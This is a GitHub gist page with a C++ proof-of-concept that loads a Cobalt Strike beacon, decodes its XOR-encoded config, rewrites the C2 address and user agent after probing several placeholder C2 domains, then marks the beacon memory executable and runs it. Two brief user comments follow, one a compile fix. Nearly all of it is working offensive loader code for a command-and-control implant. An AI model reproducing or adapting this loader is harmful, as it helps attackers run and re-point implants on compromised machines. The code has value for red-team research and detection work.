-
-
Save xpn/6c40d620607e97c2a09c70032d32d278 to your computer and use it in GitHub Desktop.
A POC showing how to modify Cobalt Strike beacon at runtime
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compile: x86_64-w64-mingw32-g++ cobaltstrike_runtimeconfig.cpp --static -o /tmp/cobaltstrike_runtimeconfig.exe -lwininet | |
#include <iostream> | |
#include <string> | |
#include <functional> | |
#include <vector> | |
#include <string.h> | |
#include <windows.h> | |
#include <WinInet.h> | |
// This file will need to be generated from a 64bit stageless CS beacon outputted in 'raw' format using a tool such as xxd. | |
// For example, you could go with: | |
// xxd -i ./beacon.bin | sed 's/beacon_bin/beacon/g' | sed 's/beacon_len/beaconLength/g' > beacon.h | |
#include "beacon.h" | |
struct CSConfigField { | |
unsigned short ID; | |
unsigned short dataType; | |
unsigned short dataLength; | |
union { | |
unsigned short shortData; | |
unsigned int intData; | |
char data[1]; | |
} value; | |
} __attribute__((packed)); | |
#define SWAP_UINT16(x) (unsigned short)(((x) >> 8) | ((x) << 8)) | |
#define MAX_MALLEABLE_SIGNATURE_LENGTH 6 | |
#define MALLEABLE_SIGNATURE "\x2e\x2f\x2e\x2f\x2e\x2c" | |
#define MALLEABLE_LENGTH 6 | |
#define MALLEABLE_XOR 0x2e | |
#define MALLEABLE_CONFIG_SIZE 4096 | |
#define CS_OPTION_C2 8 | |
#define CS_OPTION_USERAGENT 9 | |
// Needs to match your malleable profile | |
#define CS_GET_PAGE "/ActivityFeed" | |
class CobaltStrikePayloadParser { | |
public: | |
void setC2Address(char* beacon, int beaconLength, std::string target); | |
void setUserAgent(char* beacon, int beaconLength, std::string useragent); | |
private: | |
void withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback); | |
}; | |
void CobaltStrikePayloadParser::setC2Address(char* beacon, int beaconLength, std::string target) { | |
printf("[*] Searching for Beacon C2 config option [%d]\n", CS_OPTION_C2); | |
this->withMalleableOffset(beacon, beaconLength, [target](char *malleable) -> void { | |
struct CSConfigField *configField = (struct CSConfigField *)malleable; | |
while(SWAP_UINT16(configField->ID) != 0x00) { | |
if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) { | |
printf("[*] Beacon config option found\n"); | |
printf("[*] Current config option value: [%s]\n", configField->value.data); | |
printf("[*] Setting C2 location to [%s]\n", target.c_str()); | |
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength)); | |
strncpy(configField->value.data, target.c_str(), SWAP_UINT16(configField->dataLength)); | |
break; | |
} | |
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength)); | |
} | |
}); | |
} | |
void CobaltStrikePayloadParser::setUserAgent(char* beacon, int beaconLength, std::string userAgent) { | |
printf("[*] Searching for Beacon UserAgent config option [%d]\n", CS_OPTION_USERAGENT); | |
this->withMalleableOffset(beacon, beaconLength, [userAgent](char* malleable) -> void { | |
struct CSConfigField *configField = (struct CSConfigField *)malleable; | |
while(SWAP_UINT16(configField->ID) != 0x00) { | |
if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) { | |
printf("[*] Beacon config option found\n"); | |
printf("[*] Current config option value: [%s]\n", configField->value.data); | |
printf("[*] Setting user agent to [%s]\n", userAgent.c_str()); | |
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength)); | |
strncpy(configField->value.data, userAgent.c_str(), SWAP_UINT16(configField->dataLength)); | |
break; | |
} | |
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength)); | |
} | |
}); | |
} | |
void CobaltStrikePayloadParser::withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback) { | |
int beaconConfigOffset = 0; | |
int xorKey = 0; | |
char config[MALLEABLE_CONFIG_SIZE]; | |
// Hunt for the Cobalt Strike profile in memory | |
for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) { | |
if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) { | |
beaconConfigOffset = i; | |
xorKey = MALLEABLE_XOR; | |
break; | |
} | |
} | |
// Make sure we actually find the offset | |
if (beaconConfigOffset == 0) { | |
return; | |
} | |
// Decode the profile using the XOR key we have | |
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) { | |
config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey; | |
} | |
// Call back to a lambda to mess with the config | |
callback(config); | |
// Re-encode the config to be copied back into memory | |
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) { | |
*(beacon + beaconConfigOffset + i) = config[i] ^ xorKey; | |
} | |
} | |
bool checkWebConnectivity(std::string target) { | |
HINTERNET hOpenHandle, hConnectHandle, hResourceHandle; | |
DWORD dwStatus; | |
DWORD dwStatusSize = sizeof(dwStatus); | |
std::string userAgent; | |
// First we need a user-agent to blend in with | |
userAgent = "SuperLegitBrowserAgent"; | |
hOpenHandle = InternetOpenA(userAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); | |
if (hOpenHandle == NULL) { | |
return false; | |
} | |
hConnectHandle = InternetConnect(hOpenHandle, target.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); | |
if (hConnectHandle == NULL) { | |
return false; | |
} | |
hResourceHandle = HttpOpenRequest(hConnectHandle, TEXT("GET"), | |
TEXT("/testpage.html"), | |
NULL, NULL, NULL, | |
INTERNET_FLAG_KEEP_CONNECTION, 0); | |
if (hResourceHandle == NULL) { | |
return false; | |
} | |
if (HttpSendRequest(hResourceHandle, NULL, 0, NULL, 0) == false) { | |
return false; | |
} | |
if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE, &dwStatus, &dwStatusSize, NULL) == false) { | |
return false; | |
} | |
if (dwStatus == 200) { | |
return true; | |
} | |
return false; | |
} | |
int main(int argc, char **argv) { | |
DWORD oldProt; | |
BOOL foundTarget = FALSE; | |
printf("CobaltStrike Runtime Config Mod POC... by @_xpn_\n\n"); | |
// Obviously deliver these in an interesting way ;) | |
std::vector<std::string> targets = { | |
"nahthisdoesntwork.example.com", | |
"dunnowhatthisevenis.example.com", | |
"trythisonetoo.example.com" | |
}; | |
for(auto target : targets) { | |
printf("[*] Checking our connectivity to [%s]\n", target.c_str()); | |
if (checkWebConnectivity(target)) { | |
printf("[*] Found a target we can use.. updating the beacon destination\n"); | |
auto *csParser = new CobaltStrikePayloadParser(); | |
csParser->setUserAgent((char*)beacon, beaconLength, "SuperLegitBrowserAgent"); | |
csParser->setC2Address((char*)beacon, beaconLength, target + "," + CS_GET_PAGE); | |
foundTarget = TRUE; | |
} else { | |
printf("[*] No connectivity to target.. sleeping for a few seconds and trying again\n"); | |
Sleep(5000); | |
} | |
} | |
if (!foundTarget) { | |
printf("[!] Could not connect to any of our C2 locations..."); | |
return 2; | |
} | |
printf("[*] Now starting beacon..."); | |
VirtualProtect(beacon, beaconLength, PAGE_EXECUTE_READ, &oldProt); | |
int (*startBeacon)() = (int(*)())beacon; | |
startBeacon(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
On arch linux,
#include <WinInet.h>
breaks with:Switching to
#include <wininet.h>
solves it.Just in case someone is having the same problem.
Awesome work man 😄